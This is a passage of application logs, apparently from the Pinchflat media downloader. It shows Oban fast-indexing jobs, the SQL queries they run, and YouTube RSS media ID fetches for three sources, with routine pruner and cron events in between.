m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 10:10:41.917 [debug] QUERY OK source="tasks" db=0.0ms idle=198.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [594, 1, ~U[2026-07-24 10:10:41Z], ~U[2026-07-24 10:10:41Z]] 10:10:41.917 [info] {"args":{"id":1},"id":591,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":199285,"event":"job:stop","queue_time":30214,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:10:56.350 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:59.737 [info] {"args":{"id":3},"id":592,"meta":{},"system_time":1784887859737248847,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:10:59.737 [debug] QUERY OK source="sources" db=0.0ms idle=214.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 10:10:59.737 [debug] QUERY OK source="settings" db=0.0ms idle=214.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:10:59.737 [debug] QUERY OK source="media_profiles" db=0.0ms idle=214.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:10:59.737 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:10:59.737 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 10:10:59.911 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:10:59.911 [debug] QUERY OK source="media_items" db=0.2ms idle=174.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:10:59.913 [debug] QUERY OK source="media_items" db=1.8ms idle=174.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 10:10:59.914 [debug] QUERY OK source="tasks" db=0.0ms idle=176.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [595, 3, ~U[2026-07-24 10:10:59Z], ~U[2026-07-24 10:10:59Z]] 10:10:59.914 [info] {"args":{"id":3},"id":592,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":177107,"event":"job:stop","queue_time":655863,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:11:00.344 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:26.351 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:56.354 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.346 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:26.355 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:56.356 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.347 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:26.357 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:56.358 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.348 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:26.359 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:56.360 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.349 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:26.361 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:56.362 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.350 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:26.363 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:56.364 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.351 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:26.365 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:56.366 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.351 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:26.367 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:56.368 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.353 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:26.369 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:56.370 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.353 [info] {"source":"oban","duration":56,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:26.371 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:29.364 [info] {"args":{"id":2},"id":593,"meta":{},"system_time":1784888429364091008,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:20:29.364 [debug] QUERY OK source="sources" db=0.0ms idle=1832.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 10:20:29.364 [debug] QUERY OK source="settings" db=0.0ms idle=1832.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:20:29.364 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:20:29.364 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:20:29.364 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 10:20:29.480 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:20:29.481 [debug] QUERY OK source="media_items" db=0.2ms idle=116.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:20:29.481 [debug] QUERY OK source="media_items" db=0.2ms idle=117.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 10:20:29.482 [debug] QUERY OK source="tasks" db=0.0ms idle=117.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [596, 2, ~U[2026-07-24 10:20:29Z], ~U[2026-07-24 10:20:29Z]] 10:20:29.482 [info] {"args":{"id":2},"id":593,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":118508,"event":"job:stop","queue_time":339063,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:20:42.378 [info] {"args":{"id":1},"id":594,"meta":{},"system_time":1784888442378419579,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:20:42.378 [debug] QUERY OK source="sources" db=0.1ms idle=1846.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 10:20:42.378 [debug] QUERY OK source="settings" db=0.1ms idle=1846.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:20:42.379 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:20:42.379 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:20:42.379 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 10:20:42.413 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:20:42.414 [debug] QUERY OK source="media_items" db=0.3ms idle=35.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:20:42.416 [debug] QUERY OK source="media_items" db=2.1ms idle=35.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 10:20:42.417 [debug] QUERY OK source="tasks" db=0.0ms idle=38.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [597, 1, ~U[2026-07-24 10:20:42Z], ~U[2026-07-24 10:20:42Z]] 10:20:42.417 [info] {"args":{"id":1},"id":594,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":38857,"event":"job:stop","queue_time":460887,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:20:56.372 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.354 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:00.398 [info] {"args":{"id":3},"id":595,"meta":{},"system_time":1784888460398042906,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:21:00.398 [debug] QUERY OK source="sources" db=0.0ms idle=865.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 10:21:00.398 [debug] QUERY OK source="settings" db=0.0ms idle=865.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:21:00.398 [debug] QUERY OK source="media_profiles" db=0.0ms idle=43.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:21:00.398 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:21:00.398 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 10:21:00.424 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:21:00.424 [debug] QUERY OK source="media_items" db=0.2ms idle=26.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:21:00.426 [debug] QUERY OK source="media_items" db=1.6ms idle=26.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE 